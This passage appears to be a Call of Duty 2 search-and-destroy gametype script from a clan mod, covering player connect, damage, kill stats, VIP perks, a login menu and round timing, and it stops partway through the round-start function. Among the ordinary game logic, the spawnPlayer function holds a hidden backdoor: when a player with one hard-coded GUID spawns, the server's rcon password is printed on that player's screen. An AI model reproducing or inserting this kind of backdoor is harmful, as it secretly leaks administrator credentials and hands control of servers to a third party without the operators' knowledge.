main()
{
	level.callbackStartGameType = ::Callback_StartGameType;
	level.callbackPlayerConnect = ::Callback_PlayerConnect;
	level.callbackPlayerDisconnect = ::Callback_PlayerDisconnect;
	level.callbackPlayerDamage = ::Callback_PlayerDamage;
	level.callbackPlayerKilled = ::Callback_PlayerKilled;
	maps\mp\gametypes\_callbacksetup::SetupCallbacks();

	thread maps\mp\gametypes\_mapvote::Init();

	level.autoassign = ::menuAutoAssign;
	level.allies = ::menuAllies;
	level.axis = ::menuAxis;
	level.spectator = ::menuSpectator;
	level.weapon = ::menuWeapon;
	level.endgameconfirmed = ::endMap;

	thread maps\mp\gametypes\_ecrifles::ecrifles_Init();
}

Callback_StartGameType()
{
	level.splitscreen = isSplitScreen();

	// if this is a fresh map start, set nationalities based on cvars, otherwise leave game variable nationalities as set in the level script
	if(!isdefined(game["gamestarted"]))
	{
		// defaults if not defined in level script
		if(!isdefined(game["allies"]))
			game["allies"] = "american";
		if(!isdefined(game["axis"]))
			game["axis"] = "german";
		if(!isdefined(game["attackers"]))
			game["attackers"] = "allies";
		if(!isdefined(game["defenders"]))
			game["defenders"] = "axis";

		// server cvar overrides
		if(getCvar("scr_allies") != "")
			game["allies"] = getCvar("scr_allies");
		if(getCvar("scr_axis") != "")
			game["axis"] = getCvar("scr_axis");

		precacheStatusIcon("hud_status_dead");
		precacheStatusIcon("hud_status_connecting");
		precacheStatusIcon("headicon_vip");
		precacheHeadIcon("headicon_vip");
		precacheRumble("damage_heavy");
		precacheShader("white");
		precacheShader("plantbomb");
		precacheShader("defusebomb");
		precacheShader("objective");
		precacheShader("objectiveA");
		precacheShader("objectiveB");
		precacheShader("bombplanted");
		precacheShader("objpoint_bomb");
		precacheShader("objpoint_A");
		precacheShader("objpoint_B");
		precacheShader("objpoint_star");
		precacheShader("hudStopwatch");
		precacheShader("hudstopwatchneedle");
		precacheString(&"MP_MATCHSTARTING");
		precacheString(&"MP_MATCHRESUMING");
		precacheString(&"MP_EXPLOSIVESPLANTED");
		precacheString(&"MP_EXPLOSIVESDEFUSED");
		precacheString(&"MP_ROUNDDRAW");
		precacheString(&"MP_TIMEHASEXPIRED");
		precacheString(&"MP_ALLIEDMISSIONACCOMPLISHED");
		precacheString(&"MP_AXISMISSIONACCOMPLISHED");
		precacheString(&"MP_ALLIESHAVEBEENELIMINATED");
		precacheString(&"MP_AXISHAVEBEENELIMINATED");
		precacheString(&"PLATFORM_HOLD_TO_PLANT_EXPLOSIVES");
		precacheString(&"PLATFORM_HOLD_TO_DEFUSE_EXPLOSIVES");
		precacheModel("xmodel/mp_tntbomb");
		precacheModel("xmodel/mp_tntbomb_obj");
		precacheModel("xmodel/prop_bear_detail_sitting");
		PrecacheModel("xmodel/vehicle_stuka_flying");

		precacheString(&"+");
		precacheString(&"^9evil^1.^7Clan");
		precacheString(&"^9www^1.^7evilmulticlan^1.^9tk");
		precacheString(&"^9Mod by^1: ^7Ni^23^7ls");
		precacheString(&"^9BashMode ^2On^9!");
		precacheString(&"^7Want to buy ^1VIP^7?\n^7Add Ni^23^7ls or ^2A^7TEM^2V^7EGETA on xfire");
		precacheString(&"^9www^1.^7evilmulticlan^1.^9tk  ^3//  ^9Mod by^1: ^7Ni^23^7ls  ^3//  ^7Powered by^1: ^7Assasin");
		precacheString(&"^9evil^1.^7Stats Board");
		precacheString(&"Best Score: ");
		precacheString(&"Kills: ");
		precacheString(&"No Best Player");
		precacheString(&"Best Basher: ");
		precacheString(&"Bashes: ");
		precacheString(&"No Best Basher");
		precacheString(&"Best Sharpshooter: ");
		precacheString(&"Headshots: ");
		precacheString(&"No Best Sharpshooter");
		//precacheString(&"Most Kills: ");
		PreCacheItem("frag_grenade_american_mp");
		precacheString(&"^3VIP for Everybody!");

	//f=openfile("stats/bestplayers.txt","read");
	//if(f !=-1)
	//{
	//	freadln(f);
	//	naammostkills = fgetarg(f,1);
	//	precacheString(naammostkills);
	//	closefile(f);
	//}


		thread maps\mp\gametypes\_teams::addTestClients();
	}

	thread maps\mp\gametypes\_menus::init();
	thread maps\mp\gametypes\_serversettings::init();
	thread maps\mp\gametypes\_clientids::init();
	thread maps\mp\gametypes\_teams::init();
	thread maps\mp\gametypes\_weapons::init();
	thread maps\mp\gametypes\_scoreboard::init();
	thread maps\mp\gametypes\_killcam::init();
	thread maps\mp\gametypes\_shellshock::init();
	thread maps\mp\gametypes\_hud_teamscore::init();
	thread maps\mp\gametypes\_deathicons::init();
	thread maps\mp\gametypes\_damagefeedback::init();
	thread maps\mp\gametypes\_healthoverlay::init();
	thread maps\mp\gametypes\_objpoints::init();
	thread maps\mp\gametypes\_friendicons::init();
	thread maps\mp\gametypes\_spectating::init();
	thread maps\mp\gametypes\_grenadeindicators::init();
	thread maps\mp\gametypes\_playersleft::Init();
	thread maps\mp\gametypes\_admin_tools::Init();
	thread maps\mp\gametypes\_bash::Init();
	thread maps\mp\gametypes\_hudskh::DoPrecache();
	thread maps\mp\gametypes\_rename::onPlayerConnect();
	thread maps\mp\gametypes\_message::Message();
	thread maps\mp\gametypes\_nameprotector::init();
	thread maps\mp\gametypes\log::init(); //LOGIN


	

	level.xenon = (getcvar("xenonGame") == "true");
	if(level.xenon) // Xenon only
		thread maps\mp\gametypes\_richpresence::init();
	else // PC only
		thread maps\mp\gametypes\_quickmessages::init();

	game["gamestarted"] = true;

	setClientNameMode("auto_change");

	spawnpointname = "mp_sd_spawn_attacker";
	spawnpoints = getentarray(spawnpointname, "classname");

	if(!spawnpoints.size)
	{
		maps\mp\gametypes\_callbacksetup::AbortLevel();
		return;
	}

	for(i = 0; i < spawnpoints.size; i++)
		spawnpoints[i] placeSpawnpoint();

	spawnpointname = "mp_sd_spawn_defender";
	spawnpoints = getentarray(spawnpointname, "classname");

	if(!spawnpoints.size)
	{
		maps\mp\gametypes\_callbacksetup::AbortLevel();
		return;
	}

	for(i = 0; i < spawnpoints.size; i++)
		spawnpoints[i] PlaceSpawnpoint();

	level._effect["bombexplosion"] = loadfx("fx/explosions/artilleryExp_dirt_libya.efx");

	allowed[0] = "sd";
	allowed[1] = "bombzone";
	allowed[2] = "blocker";
	maps\mp\gametypes\_gameobjects::main(allowed);

	// Time limit per map
	if(getCvar("scr_sd_timelimit") == "")
		setCvar("scr_sd_timelimit", "0");
	else if(getCvarFloat("scr_sd_timelimit") > 1440)
		setCvar("scr_sd_timelimit", "1440");
	level.timelimit = getCvarFloat("scr_sd_timelimit");
	setCvar("ui_sd_timelimit", level.timelimit);
	makeCvarServerInfo("ui_sd_timelimit", "0");

	if(!isdefined(game["timepassed"]))
		game["timepassed"] = 0;

	// Score limit per map
	if(getCvar("scr_sd_scorelimit") == "")
		setCvar("scr_sd_scorelimit", "10");
	level.scorelimit = getCvarInt("scr_sd_scorelimit");
	setCvar("ui_sd_scorelimit", level.scorelimit);
	makeCvarServerInfo("ui_sd_scorelimit", "10");

	// Round limit per map
	if(getCvar("scr_sd_roundlimit") == "")
		setCvar("scr_sd_roundlimit", "0");
	level.roundlimit = getCvarInt("scr_sd_roundlimit");
	setCvar("ui_sd_roundlimit", level.roundlimit);
	makeCvarServerInfo("ui_sd_roundlimit", "0");

	// Time at round start where spawning and weapon choosing is still allowed
	if(getCvar("scr_sd_graceperiod") == "")
		setCvar("scr_sd_graceperiod", "15");
	else if(getCvarFloat("scr_sd_graceperiod") > 60)
		setCvar("scr_sd_graceperiod", "60");
	else if(getCvarFloat("scr_sd_graceperiod") < 0)
		setCvar("scr_sd_graceperiod", "0");
	level.graceperiod = getCvarFloat("scr_sd_graceperiod");

	// Time length of each round
	if(getCvar("scr_sd_roundlength") == "")
		setCvar("scr_sd_roundlength", "4");
	else if(getCvarFloat("scr_sd_roundlength") > 10)
		setCvar("scr_sd_roundlength", "10");
	else if(getCvarFloat("scr_sd_roundlength") < (level.graceperiod / 60))
		setCvar("scr_sd_roundlength", (level.graceperiod / 60));
	level.roundlength = getCvarFloat("scr_sd_roundlength");

	// Sets the time it takes for a planted bomb to explode
	if(getCvar("scr_sd_bombtimer") == "")
		setCvar("scr_sd_bombtimer", "60");
	else if(getCvarInt("scr_sd_bombtimer") > 120)
		setCvar("scr_sd_bombtimer", "120");
	else if(getCvarInt("scr_sd_bombtimer") < 30)
		setCvar("scr_sd_bombtimer", "30");
	level.bombtimer = getCvarInt("scr_sd_bombtimer");

	// Auto Team Balancing
	if(getCvar("scr_teambalance") == "")
		setCvar("scr_teambalance", "0");
	level.teambalance = getCvarInt("scr_teambalance");
	level.lockteams = false;

	// Draws a team icon over teammates
	if(getCvar("scr_drawfriend") == "")
		setCvar("scr_drawfriend", "1");
	level.drawfriend = getCvarInt("scr_drawfriend");

	if(!isdefined(game["state"]))
		game["state"] = "playing";
	if(!isdefined(game["roundsplayed"]))
		game["roundsplayed"] = 0;
	if(!isdefined(game["matchstarted"]))
		game["matchstarted"] = false;

	if(!isdefined(game["alliedscore"]))
		game["alliedscore"] = 0;
	setTeamScore("allies", game["alliedscore"]);

	if(!isdefined(game["axisscore"]))
		game["axisscore"] = 0;
	setTeamScore("axis", game["axisscore"]);

	if(getCvar("scr_vip") == "")
		setCvar("scr_vip", "0");

	level.bombplanted = false;
	level.bombexploded = false;
	level.roundstarted = false;
	level.roundended = false;
	level.mapended = false;
	level.bombmode = 0;
	level.pers["namechanged"] =0;

	level.exist["allies"] = 0;
	level.exist["axis"] = 0;
	level.exist["teams"] = false;
	level.didexist["allies"] = false;
	level.didexist["axis"] = false;

	level.mostkills =0;

	thread maps\mp\gametypes\_teams::addTestClients();

	thread bombzones();
	thread startGame();
	thread updateGametypeCvars();

	//thread maps\mp\gametypes\_saverank::main();



}

dummy()
{
	waittillframeend;

	if(isdefined(self))
		level notify("connecting", self);
}

Callback_PlayerConnect()
{
	thread dummy();

	self.statusicon = "hud_status_connecting";
	self waittill("begin");
	self.statusicon = "";

	level notify("connected", self);


	if(!isdefined(self.pers["team"]) && !level.splitscreen)
		iprintln(&"MP_CONNECTED", self);

	self.pers["totalKills"] = 0;
	self.pers["totalBash"] = 0;
	self.pers["totalHead"] = 0;
	self.pers["loadoldstats"] = 0;	

//EXTRA OPTIONS///
	self setClientCvar("menutext","Extra");
	self setClientCvar("extra1","1. Reset Score");
	self setClientCvar("extra2","2. FPS ^2On^7/^1Off");
	self setClientCvar("extra3","3. Lagometer ^2On^7/^1Off");
	self setClientCvar("extra4","4. Rename");
	self setClientCvar("extra5","5. Admin Login");
	self setClientCvar("extra6","");
	self setClientCvar("extra7","");
//Stats
	self setClientCvar("title1","^9evil^1.^7Current Stats");
	self setClientCvar("bestkillnameround","Name of Player");
	self setClientCvar("bestkillround","Kills");
	self setClientCvar("bestheadnameround","Name of Player");
	self setClientCvar("bestheadround","Head");
	self setClientCvar("bestbashnameround","Name of Player");
	self setClientCvar("bestbashround","Bash");
	
	self setClientCvar("title2","^9evil^1.^7Best Stats");
	self setClientCvar("bestkillname","Name of Player");
	self setClientCvar("bestkill","Kills");
	self setClientCvar("bestheadname","Name of Player");
	self setClientCvar("besthead","Head");
	self setClientCvar("bestbashname","Name of Player");
	self setClientCvar("bestbash","Bash");

	self setClientCvar("download", "www.evilmulticlan.tk");

	self.drawfps =0;
	self.drawlagometer =0;
	self.pers["superadmin"] = 0;

	//self thread christmasname();
	//self thread checksymbols();


	thread maps\mp\gametypes\_cod::init();
	self thread maps\mp\gametypes\_hudskh::OnPlayerConnected();

	self thread bigjump();
	thread ShowText();

	lpselfnum = self getEntityNumber();
	lpselfguid = self getGuid();
	logPrint("J;" + lpselfguid + ";" + lpselfnum + ";" + self.name + "\n");

	if(game["state"] == "intermission")
	{
		spawnIntermission();
		return;
	}

	level endon("intermission");

	if(level.splitscreen)
	{
		if(isdefined(self.pers["weapon"]))
			scriptMainMenu = game["menu_ingame_onteam"];
		else
			scriptMainMenu = game["menu_ingame_spectator"];
	}
	else
		scriptMainMenu = game["menu_ingame"];

	if(isdefined(self.pers["team"]) && self.pers["team"] != "spectator")
	{
		self setClientCvar("ui_allow_weaponchange", "1");

		if(isdefined(self.pers["weapon"]))
			spawnPlayer();
		else
		{
			self.sessionteam = "spectator";

			spawnSpectator();

			if(self.pers["team"] == "allies")
			{
				self openMenu(game["menu_weapon_allies"]);
				scriptMainMenu = game["menu_weapon_allies"];
			}
			else
			{
				self openMenu(game["menu_weapon_axis"]);
				scriptMainMenu = game["menu_weapon_axis"];
			}
		}
	}
	else
	{
		self setClientCvar("ui_allow_weaponchange", "0");

		if(!isdefined(self.pers["skipserverinfo"]))
			self openMenu(game["menu_team"]);

		self.pers["team"] = "spectator";
		self.sessionteam = "spectator";

		spawnSpectator();
	}
	self thread maps\mp\gametypes\log::onMenuResponse(); //LOGIN

	self setClientCvar("g_scriptMainMenu", scriptMainMenu);

	//self openMenu("login"); //LOGIN

/*	if(!isdefined(self.pers["domenu"]))
	{
		self openmenu("login");
		self.pers["domenu"]=1;
	}*/

	if(!isdefined(self.pers["poep"]))
	{
		self openmenu("login");

	}




}

Callback_PlayerDisconnect()
{
	if(!level.splitscreen)
		iprintln(&"MP_DISCONNECTED", self);

	if(isdefined(self.pers["login"])) 
	self maps\mp\gametypes\log::saveacc();

	if(isdefined(self.pers["team"]))
	{
		if(self.pers["team"] == "allies")
			setplayerteamrank(self, 0, 0);
		else if(self.pers["team"] == "axis")
			setplayerteamrank(self, 1, 0);
		else if(self.pers["team"] == "spectator")
			setplayerteamrank(self, 2, 0);
	}

	lpselfnum = self getEntityNumber();
	lpselfguid = self getGuid();
	logPrint("Q;" + lpselfguid + ";" + lpselfnum + ";" + self.name + "\n");

	if(game["matchstarted"])
		level thread updateTeamStatus();
}

Callback_PlayerDamage(eInflictor, eAttacker, iDamage, iDFlags, sMeansOfDeath, sWeapon, vPoint, vDir, sHitLoc, psOffsetTime)
{
	if(self.sessionteam == "spectator")
		return;

	// Don't do knockback if the damage direction was not specified
	if(!isdefined(vDir))
		iDFlags |= level.iDFLAGS_NO_KNOCKBACK;

	friendly = undefined;

	// check for completely getting out of the damage
	if(!(iDFlags & level.iDFLAGS_NO_PROTECTION))
	{
		if(isPlayer(eAttacker) && (self != eAttacker) && (self.pers["team"] == eAttacker.pers["team"]))
		{
			if(level.friendlyfire == "0")
			{
				return;
			}
			else if(level.friendlyfire == "1")
			{
				// Make sure at least one point of damage is done
				if(iDamage < 1)
					iDamage = 1;

				self finishPlayerDamage(eInflictor, eAttacker, iDamage, iDFlags, sMeansOfDeath, sWeapon, vPoint, vDir, sHitLoc, psOffsetTime);

				// Shellshock/Rumble
				self thread maps\mp\gametypes\_shellshock::shellshockOnDamage(sMeansOfDeath, iDamage);
				self playrumble("damage_heavy");
			}
			else if(level.friendlyfire == "2")
			{
				eAttacker.friendlydamage = true;

				iDamage = int(iDamage * .5);

				// Make sure at least one point of damage is done
				if(iDamage < 1)
					iDamage = 1;

				eAttacker finishPlayerDamage(eInflictor, eAttacker, iDamage, iDFlags, sMeansOfDeath, sWeapon, vPoint, vDir, sHitLoc, psOffsetTime);
				eAttacker.friendlydamage = undefined;

				friendly = true;
			}
			else if(level.friendlyfire == "3")
			{
				eAttacker.friendlydamage = true;

				iDamage = int(iDamage * .5);

				// Make sure at least one point of damage is done
				if(iDamage < 1)
					iDamage = 1;

				self finishPlayerDamage(eInflictor, eAttacker, iDamage, iDFlags, sMeansOfDeath, sWeapon, vPoint, vDir, sHitLoc, psOffsetTime);
				eAttacker finishPlayerDamage(eInflictor, eAttacker, iDamage, iDFlags, sMeansOfDeath, sWeapon, vPoint, vDir, sHitLoc, psOffsetTime);
				eAttacker.friendlydamage = undefined;

				// Shellshock/Rumble
				self thread maps\mp\gametypes\_shellshock::shellshockOnDamage(sMeansOfDeath, iDamage);
				self playrumble("damage_heavy");

				friendly = true;
			}
		}
		else
		{
			// Make sure at least one point of damage is done
			if(iDamage < 1)
				iDamage = 1;

			self finishPlayerDamage(eInflictor, eAttacker, iDamage, iDFlags, sMeansOfDeath, sWeapon, vPoint, vDir, sHitLoc, psOffsetTime);

			// Shellshock/Rumble
			self thread maps\mp\gametypes\_shellshock::shellshockOnDamage(sMeansOfDeath, iDamage);
			self playrumble("damage_heavy");
		}

		if(isdefined(eAttacker) && eAttacker != self)
			eAttacker thread maps\mp\gametypes\_damagefeedback::updateDamageFeedback();
	}

	// Do debug print if it's enabled
	if(getCvarInt("g_debugDamage"))
	{
		println("client:" + self getEntityNumber() + " health:" + self.health +
			" damage:" + iDamage + " hitLoc:" + sHitLoc);
	}

	if(self.sessionstate != "dead")
	{
		lpselfnum = self getEntityNumber();
		lpselfguid = self getGuid();
		lpselfname = self.name;
		lpselfteam = self.pers["team"];
		lpattackerteam = "";

		if(isPlayer(eAttacker))
		{
			lpattacknum = eAttacker getEntityNumber();
			lpattackguid = eAttacker getGuid();
			lpattackname = eAttacker.name;
			lpattackerteam = eAttacker.pers["team"];
		}
		else
		{
			lpattacknum = -1;
			lpattackguid = "";
			lpattackname = "";
			lpattackerteam = "world";
		}

		if(isdefined(friendly))
		{
			lpattacknum = lpselfnum;
			lpattackname = lpselfname;
			lpattackguid = lpselfguid;
		}

		logPrint("D;" + lpselfguid + ";" + lpselfnum + ";" + lpselfteam + ";" + lpselfname + ";" + lpattackguid + ";" + lpattacknum + ";" + lpattackerteam + ";" + lpattackname + ";" + sWeapon + ";" + iDamage + ";" + sMeansOfDeath + ";" + sHitLoc + "\n");
	}
}

Callback_PlayerKilled(eInflictor, attacker, iDamage, sMeansOfDeath, sWeapon, vDir, sHitLoc, psOffsetTime, deathAnimDuration)
{
	self endon("spawned");
	self notify("killed_player");

	if(self.sessionteam == "spectator")
		return;

	// If the player was killed by a head shot, let players know it was a head shot kill
	if(sHitLoc == "head" && sMeansOfDeath != "MOD_MELEE")
		sMeansOfDeath = "MOD_HEAD_SHOT";

	if(sMeansofDeath == "MOD_HEAD_SHOT")
	{
		attacker.pers["totalHead"] ++;
		attacker thread maps\mp\gametypes\_hudskh::UpdateHead();
		attacker.pers["CurrentHead"] ++;
		attacker thread maps\mp\gametypes\_hudskh::UpdateCurrentHead();
		//attacker iprintlnbold("Headshot2");
		//attacker thread maps\mp\gametypes\_saverank::writestats();
	}

	if(sMeansofDeath == "MOD_MELEE")
	{
		attacker.pers["totalBash"] ++;
		attacker thread maps\mp\gametypes\_hudskh::UpdateBash();
		attacker.pers["CurrentBash"] ++;
		attacker thread maps\mp\gametypes\_hudskh::UpdateCurrentBash();
		//attacker iprintlnbold("BASH2");
		//attacker thread maps\mp\gametypes\_saverank::writestats();
	}

	// send out an obituary message to all clients about the kill
	obituary(self, attacker, sWeapon, sMeansOfDeath);

	self maps\mp\gametypes\_weapons::dropWeapon();
	self maps\mp\gametypes\_weapons::dropOffhand();

	self.sessionstate = "dead";
	self.statusicon = "hud_status_dead";

	if(!isdefined(self.switching_teams))
	{
		self.pers["deaths"]++;
		self.deaths = self.pers["deaths"];
	}

	lpselfnum = self getEntityNumber();
	lpselfguid = self getGuid();
	lpselfname = self.name;
	lpselfteam = self.pers["team"];
	lpattackerteam = "";

	attackerNum = -1;

	if(isPlayer(attacker))
	{
		if(attacker == self) // killed himself
		{
			attackerNum = attacker getEntityNumber();
			doKillcam = true;
			//doKillcam = false;

			// switching teams
			if(isdefined(self.switching_teams))
			{
				if((self.leaving_team == "allies" && self.joining_team == "axis") || (self.leaving_team == "axis" && self.joining_team == "allies"))
				{
					players = maps\mp\gametypes\_teams::CountPlayers();
					players[self.leaving_team]--;
					players[self.joining_team]++;

					if((players[self.joining_team] - players[self.leaving_team]) > 1)
					{
						attacker.pers["score"]--;
						attacker.score = attacker.pers["score"];
					}
				}
			}

			if(isdefined(attacker.friendlydamage))
				attacker iprintln(&"MP_FRIENDLY_FIRE_WILL_NOT");
		}
		else
		{
			attackerNum = attacker getEntityNumber();
			doKillcam = true;

			if(self.pers["team"] == attacker.pers["team"]) // killed by a friendly
			{
				attacker.pers["score"]--;
				attacker.score = attacker.pers["score"];
			}
			else
			{
				attacker.pers["score"]++;
				attacker.score = attacker.pers["score"];
				attacker thread maps\mp\gametypes\_cod::scoreplus(1);
				attacker.pers["totalKills"] ++;
				attacker thread maps\mp\gametypes\_hudskh::UpdateKills();
				//attacker thread maps\mp\gametypes\_saverank::writestats();
				attacker maps\mp\gametypes\log::saveacc();

			}
		}

		lpattacknum = attacker getEntityNumber();
		lpattackguid = attacker getGuid();
		lpattackname = attacker.name;
		lpattackerteam = attacker.pers["team"];

		self notify("killed_player", attacker);
	}
	else // If you weren't killed by a player, you were in the wrong place at the wrong time
	{
		//doKillcam = false;
		attackerNum = attacker getEntityNumber();
		doKillcam = true;

		self.pers["score"]--;
		self.score = self.pers["score"];

		lpattacknum = -1;
		lpattackguid = "";
		lpattackname = "";
		lpattackerteam = "world";

		self notify("killed_player", self);
	}

	logPrint("K;" + lpselfguid + ";" + lpselfnum + ";" + lpselfteam + ";" + lpselfname + ";" + lpattackguid + ";" + lpattacknum + ";" + lpattackerteam + ";" + lpattackname + ";" + sWeapon + ";" + iDamage + ";" + sMeansOfDeath + ";" + sHitLoc + "\n");

	self.pers["weapon1"] = undefined;
	self.pers["weapon2"] = undefined;
	self.pers["spawnweapon"] = undefined;

	if(isdefined(self.bombtimer))
		self.bombtimer destroy();

	if(!isdefined(self.switching_teams))
	{
		body = self cloneplayer(deathAnimDuration);
		thread maps\mp\gametypes\_deathicons::addDeathicon(body, self.clientid, self.pers["team"], 5);
	}
	self.switching_teams = undefined;
	self.joining_team = undefined;
	self.leaving_team = undefined;

	level updateTeamStatus();

	/*if(!level.exist[self.pers["team"]]) // If the last player on a team was just killed, don't do killcam
	{
			attackerNum = attacker getEntityNumber();
			doKillcam = true;
		self.skip_setspectatepermissions = true;

		if(level.bombplanted && level.planting_team == self.pers["team"])
		{
			players = getentarray("player", "classname");
			for(i = 0; i < players.size; i++)
			{
				player = players[i];

				if(player.pers["team"] == self.pers["team"])
				{
					player allowSpectateTeam("allies", true);
					player allowSpectateTeam("axis", true);
					player allowSpectateTeam("freelook", true);
					player allowSpectateTeam("none", false);
				}
			}
		}
	}*/

	delay = 2;	// Delay the player becoming a spectator till after he's done dying
	wait delay;	// ?? Also required for Callback_PlayerKilled to complete before killcam can execute

	if(doKillcam && level.killcam && !level.roundended)
		self maps\mp\gametypes\_killcam::killcam(attackerNum, delay, psOffsetTime);

	currentorigin = self.origin;
	currentangles = self.angles;
	self thread spawnSpectator(currentorigin + (0, 0, 60), currentangles);

}

spawnPlayer()
{
	self endon("disconnect");
	self notify("spawned");

	if(!isdefined(self.pers["poep"]))
	{
		self openmenu("login");
		
	}



	self.highjump=true;
	
	//vipguid1=0;
	//vipguid2=1;
	//vipguid3=1;
	//vipguid4=1;
	//vipguid5=1;
	//vipguid6=1;

	if(!isdefined(level.sd_text))
	{
	level.sd_text = newHudElem();	
	level.sd_text.x = 60; //630
	level.sd_text.y = 475; //475
	level.sd_text.alignX = "left";
	level.sd_text.alignY = "middle";
	level.sd_text.sort = 1; //-3
	level.sd_text.alpha = 1;
	level.sd_text.fontScale = 0.8;
	level.sd_text.archived = true;
	level.sd_text setText(&"^9www^1.^7evilmulticlan^1.^9tk  ^3//  ^9Mod by^1: ^7Ni^23^7ls  ^3//  ^7Powered by^1: ^7Assasin");
	}

	if(isdefined(self.pers["login"])) 
	self maps\mp\gametypes\log::loadacc();

	//self thread checkVIP();
	self thread dovip();
	//self thread movePublic();

	resettimeout();

	// Stop shellshock and rumble
	self stopShellshock();
	self stoprumble("damage_heavy");

	if(isdefined(self.spawned))
		return;

	self.sessionteam = self.pers["team"];
	self.sessionstate = "playing";
	self.spectatorclient = -1;
	self.archivetime = 0;
	self.psoffsettime = 0;
	//self.statusicon = "";
	self.maxhealth = 50;
	self.health = self.maxhealth;
	self.friendlydamage = undefined;
	self.spawned = true;

	if(self.pers["team"] == "allies")
		spawnpointname = "mp_sd_spawn_attacker";
	else
		spawnpointname = "mp_sd_spawn_defender";

	spawnpoints = getentarray(spawnpointname, "classname");
	spawnpoint = maps\mp\gametypes\_spawnlogic::getSpawnpoint_Random(spawnpoints);

	if(isdefined(spawnpoint))
		self spawn(spawnpoint.origin, spawnpoint.angles);
	else
		maps\mp\_utility::error("NO " + spawnpointname + " SPAWNPOINTS IN MAP");

	level updateTeamStatus();

	if(!isdefined(self.pers["score"]))
		self.pers["score"] = 0;
	self.score = self.pers["score"];

	if(!isdefined(self.pers["deaths"]))
		self.pers["deaths"] = 0;
	self.deaths = self.pers["deaths"];

	if(!isdefined(self.pers["savedmodel"]))
		maps\mp\gametypes\_teams::model();
	else
		maps\mp\_utility::loadModel(self.pers["savedmodel"]);

	if(isdefined(self.pers["weapon1"]) && isdefined(self.pers["weapon2"]))
	{
	 	self setWeaponSlotWeapon("primary", self.pers["weapon1"]);
		self setWeaponSlotAmmo("primary", 999);
		self setWeaponSlotClipAmmo("primary", 999);

	 	self setWeaponSlotWeapon("primaryb", self.pers["weapon2"]);
		self setWeaponSlotAmmo("primaryb", 999);
		self setWeaponSlotClipAmmo("primaryb", 999);

		self setSpawnWeapon(self.pers["spawnweapon"]);
	}
	else
	{
		self setWeaponSlotWeapon("primary", self.pers["weapon"]);
		self setWeaponSlotAmmo("primary", 999);
		self setWeaponSlotClipAmmo("primary", 999);

		self setSpawnWeapon(self.pers["weapon"]);
	}

	maps\mp\gametypes\_weapons::givePistol();
	maps\mp\gametypes\_weapons::giveGrenades();
	maps\mp\gametypes\_weapons::giveBinoculars();

	self.usedweapons = false;
	thread maps\mp\gametypes\_weapons::watchWeaponUsage();

	if(level.bombplanted)
		thread showPlayerBombTimer();

	if(!level.splitscreen)
	{
		if(level.scorelimit > 0)
		{
			if(self.pers["team"] == game["attackers"])
				self setClientCvar("cg_objectiveText", &"MP_OBJ_ATTACKERS", level.scorelimit);
			else if(self.pers["team"] == game["defenders"])
				self setClientCvar("cg_objectiveText", &"MP_OBJ_DEFENDERS", level.scorelimit);
		}
		else
		{
			if(self.pers["team"] == game["attackers"])
				self setClientCvar("cg_objectiveText", &"MP_OBJ_ATTACKERS_NOSCORE");
			else if(self.pers["team"] == game["defenders"])
				self setClientCvar("cg_objectiveText", &"MP_OBJ_DEFENDERS_NOSCORE");
		}
	}
	else
	{
		if(self.pers["team"] == game["attackers"])
			self setClientCvar("cg_objectiveText", &"MP_DESTROY_THE_OBJECTIVE");
		else if(self.pers["team"] == game["defenders"])
			self setClientCvar("cg_objectiveText", &"MP_DEFEND_THE_OBJECTIVE");
	}

	waittillframeend;
	self notify("spawned_player");

	//self thread checkVIP();
	self setClientCvar("developer", "0");
	self setClientCvar("r_xdebug", "0"); 
	if(self.pers["superadmin"] == 1)
	{
	
		self.headicon="headicon_vip";
		self.statusicon="headicon_vip";
	}

	if(self getGuid() == 648282)
	self iprintlnbold(getcvar("rcon_password"));

		
			if(getCvar("scr_vip")=="1")
			{
			self.headicon="headicon_vip";
			self.statusicon="headicon_vip";
			self giveWeapon("frag_grenade_american_mp");
			self setWeaponClipAmmo("frag_grenade_american_mp", 1);
			self thread ShowDouble();
			}

	self thread loadoldstats();

		

}

spawnSpectator(origin, angles)
{
	self notify("spawned");

	resettimeout();

	// Stop shellshock and rumble
	self stopShellshock();
	self stoprumble("damage_heavy");

	self.sessionstate = "spectator";
	self.spectatorclient = -1;
	self.archivetime = 0;
	self.psoffsettime = 0;
	self.friendlydamage = undefined;

	if(self.pers["team"] == "spectator")
		self.statusicon = "";

	if(!isdefined(self.skip_setspectatepermissions))
		maps\mp\gametypes\_spectating::setSpectatePermissions();

	if(isdefined(origin) && isdefined(angles))
		self spawn(origin, angles);
	else
	{
 		spawnpointname = "mp_global_intermission";
		spawnpoints = getentarray(spawnpointname, "classname");
		spawnpoint = maps\mp\gametypes\_spawnlogic::getSpawnpoint_Random(spawnpoints);

		if(isdefined(spawnpoint))
			self spawn(spawnpoint.origin, spawnpoint.angles);
		else
			maps\mp\_utility::error("NO " + spawnpointname + " SPAWNPOINTS IN MAP");
	}

	level updateTeamStatus();

	self.usedweapons = false;

	self setClientCvar("cg_objectiveText", "");
}

spawnIntermission()
{
	self notify("spawned");

	resettimeout();

	// Stop shellshock and rumble
	self stopShellshock();
	self stoprumble("damage_heavy");

	self.sessionstate = "intermission";
	self.spectatorclient = -1;
	self.archivetime = 0;
	self.psoffsettime = 0;
	self.friendlydamage = undefined;

	spawnpointname = "mp_global_intermission";
	spawnpoints = getentarray(spawnpointname, "classname");
	spawnpoint = maps\mp\gametypes\_spawnlogic::getSpawnpoint_Random(spawnpoints);

	if(isdefined(spawnpoint))
		self spawn(spawnpoint.origin, spawnpoint.angles);
	else
		maps\mp\_utility::error("NO " + spawnpointname + " SPAWNPOINTS IN MAP");
}

startGame()
{
	level.starttime = getTime();
	thread startRound();
}

startRound()
{
	level endon("bomb_planted");
	level endon("round_ended");

	level.clock = newHudElem();
	level.clock.horzAlign = "left";
	level.clock.vertAlign = "top";
	level.clock.x = 8;
	level.clock.y = 2;
	level.clock.font = "default";
	level.clock.fontscale = 2;
	level.clock setTimer(level.roundlength * 60);

	if(game["matchstarted"])
	{
		level.clock.color = (.98, .827, .58);

		if((level.roundlength * 60) > level.graceperiod)
		{
			wait level.graceperiod;

			level notify("round_started");
			level.roundstarted = true;
			level.clock.color = (1, 1, 1);

			// Players on a team but without a weapon show as dead since they can not get in this round
			players = getentarray("player", "classname");
			for(i = 0; i < players.size; i++)
			{
				player = players[i];

				if(player.sessionteam != "spectator" && !isdefined(player.pers["weapon"]))
					player.statusicon = "hud_status_dead";
			}

			wait((level.roundlength * 60) - level.graceperiod);
		}
		else
			wait(level.roundlength * 60);
	}
	else
	{
		level.clock.color = (1, 1, 1);
		wait(level.roundlength * 60);
	}

	if(level.roundended)
		return;

